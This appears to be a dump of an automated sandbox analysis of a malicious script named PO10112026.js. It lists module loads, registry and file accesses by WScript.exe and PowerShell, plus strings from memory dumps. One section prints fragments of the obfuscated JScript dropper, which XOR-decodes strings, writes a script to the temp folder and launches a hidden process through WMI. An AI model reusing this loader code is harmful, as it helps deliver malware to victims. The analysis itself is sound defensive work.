"API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 77230000 "powershell.exe" loaded module "NTDLL.DLL" at base 778e0000 "powershell.exe" loaded module "PSAPI.DLL" at base 76600000 "powershell.exe" loaded module "SHELL32.DLL" at base 75010000 "powershell.exe" loaded module "WINTRUST.DLL" at base 77890000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 708d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 77890000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 749d0000 "powershell.exe" loaded module "AMSI.DLL" at base 708a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74040000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 70850000 "powershell.exe" loaded module "KERNEL32" at base 76610000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\EN5T9D0W.DLL" at base 70810000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 70790000 "powershell.exe" loaded module "CRYPT32.DLL" at base 749d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 70430000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 7032000036:Ta8a,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp")37:T5fc,"WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "WBEM Scripting Locator" (Path: "HKCU\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS")38:Tf70,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001852-00000C2B-707261659] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00001852-00000C2B-707383477] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00008068-00000C2B-718623337] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00008068-00000C2B-718835505] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00008068-00000C2B-718880494] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00008068-00000C2B-718910750] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00008068-00000C2B-719127163] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00008068-00000C2B-719140374] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00008068-00000C2B-719163935] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00008068-00000C2B-719198570] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00008068-00000C2B-719524219] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00008068-00000C2B-719537183] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00008068-00000C2B-719767543] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00008068-00000C2B-719791650] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00008068-00000C2B-719847246] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00008068-00000C2B-719932078] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00008068-00000C2B-720072273] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00008068-00000C2B-720096349] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00008068-00000C2B-720507818] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00008068-00000C2B-720582142] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00008068-00000C2B-720655751] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00008068-00000C2B-721059723] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00008068-00000C2B-721073321] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00008068-00000C2B-721086553] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00008068-00000C2B-721155223]39:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp")3a:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")3b:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")3c:Ta49,"WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll"3d:Ta08,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERSHELL.EXE.LOG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\MICROSOFT.PB378EC07#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\MICROSOFT.POWERSHELL.CONSOLEHOST.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.MANAA57FC8CC#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\SYSTEM.MANAGEMENT.AUTOMATION.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSREADLINE" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSReadline" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.NUMERICS" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.NUMERICS.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.DIRED13B18A9#"3e:Te1c,Observed email domain:";var _psx=[38,120,123,57],_psk=8,_ps=""; for(var _psi=0;_psi<_psx.length;_psi++)_ps+=_xf(_psx[_psi]^_psk);var scriptpath = tempdir + "\\" + math[_flr](math.random() * 90000 + 10000) + _ps;var _ctfx=[78,127,104,108,121,104,89,104,117,121,75,100,97,104],_ctfk=13,_ctf=""; for(var _ctfi=0;_ctfi<_ctfx.length;_ctfi++)_ctf+=_xf(_ctfx[_ctfi]^_ctfk);var stream = fso[_ctf](scriptpath, true, true);stream.write(_pt);stream.close();try {var _wbemx = [98,87,80,88,102,86,71,92,69,65,92,91,82,27,102,98,87,80,88,121,90,86,84,65,90,71], _wbemk = 53, _wbemstr = "";for (var _wbi = 0; _wbi < _wbemx.length; _wbi++) _wbemstr += _xf(_wbemx[_wbi] ^ _wbemk);var _nsx = [49,44,44,55,31,32,42,46,53,113], _nsk = 67, _nsstr = "";for (var _nsi = 0; _nsi < _nsx.length; _nsi++) _nsstr += _xf(_nsx[_nsi] ^ _nsk);var _w32x = [95,97,102,59,58,87,88,122,103,107,109,123,123], _w32k = 8, _w32 = "";for (var _w32i = 0; _w32i < _w32x.length; _w32i++) _w32 += _xf(_w32x[_w32i] ^ _w32k);var _w32sx = [94,96,103,58,59,86,89,123,102,106,108,122" [Source: PO10112026.js] Observed email domain:",122,90,125,104,123,125,124,121], _w32sk = 9, _w32s = "";for (var _w32si = 0; _w32si < _w32sx.length; _w32si++) _w32s += _xf(_w32sx[_w32si] ^ _w32sk);var _crx = [72,121,110,106,127,110], _crk = 11, _cr = "";for (var _cri = 0; _cri < _crx.length; _cri++) _cr += _xf(_crx[_cri] ^ _crk);var _emx = [66,127,98,100,74,98,115,111,104,99], _emk = 7, _em = "";for (var _emi = 0; _emi < _emx.length; _emi++) _em += _xf(_emx[_emi] ^ _emk);var _spx=[86,117,100,114,107,76,107,118,113,100,107,102,96,90],_spk=5,_sp=""; for(var _spi=0;_spi<_spx.length;_spi++)_sp+=_xf(_spx[_spi]^_spk);var _ipx=[69,98,92,109,126,109,97,105,120,105,126,127],_ipk=12,_ip=""; for(var _ipi=0;_ipi<_ipx.length;_ipi++)_ip+=_xf(_ipx[_ipi]^_ipk);var _wbemloc = wscript["crea" + "teobject"](_wbemstr);var wmi = _wbemloc["connect" + "server"](null, _nsstr);var _gtx=[65,99,114],_gtk=6,_gt=""; for(var _gti=0;_gti<_gtx.length;_gti++)_gt+=_xf(_gtx[_gti]^_gtk);var proc = wmi[_gt](_w32);var startup = wmi[_gt](_w32s)[_sp]();var _swx=[87,108,107,115,83,10" [Source: PO10112026.js] Observed email domain:"9,106,96,107,115],_swk=4,_sw=""; for(var _swi=0;_swi<_swx.length;_swi++)_sw+=_xf(_swx[_swi]^_swk);startup[_sw] = 0;var _mtx=[72,96,113,109,106,97,118,90],_mtk=5,_mt=""; for(var _mti=0;_mti<_mtx.length;_mti++)_mt+=_xf(_mtx[_mti]^_mtk);var _itmx=[74,119,102,110],_itmk=3,_itm=""; for(var _itmi=0;_itmi<_itmx.length;_itmi++)_itm+=_xf(_itmx[_itmi]^_itmk);var method = proc[_mt][_itm](_cr);var inparams = method[_ip][_sp]();var _phx=[169,223,245,255,248,233,225,222,227,227,248,169,208,223,245,255,219,195,219,186,184,208,219,229,226,232,227,251,255,220,227,251,233,254,223,228,233,224,224,208,250,189,162,188,208,252,227,251,233,254,255,228,233,224,224,162,233,244,233],_phk=140,_ph=""; for(var _phi=0;_phi<_phx.length;_phi++)_ph+=_xf(_phx[_phi]^_phk);var psexe = shell[_ees](_ph);var _chrfn = string.fromcharcode;var _noproxor = [44,79,110,81,115,110,103,104,109,100];var _noprokey = 1;var _nopro = "";for (var _npi = 0; _npi < _noproxor.length; _npi++) _nopro += _chrfn(_noproxor[_npi] ^ _noprokey);var _nonixor =" [Source: PO10112026.js] Observed email domain:"for (var _wbi = 0; _wbi < _wbemx.length; _wbi++) _wbemstr += _xf(_wbemx[_wbi] ^ _wbemk);" [Source: PO10112026.js] Observed email domain:"for (var _emi = 0; _emi < _emx.length; _emi++) _em += _xf(_emx[_emi] ^ _emk);" [Source: PO10112026.js] Observed email domain:"var _itmx=[74,119,102,110],_itmk=3,_itm=""; for(var _itmi=0;_itmi<_itmx.length;_itmi++)_itm+=_xf(_itmx[_itmi]^_itmk);" [Source: PO10112026.js]3f:T169b,Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1" Heuristic match: "s-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Pattern match: 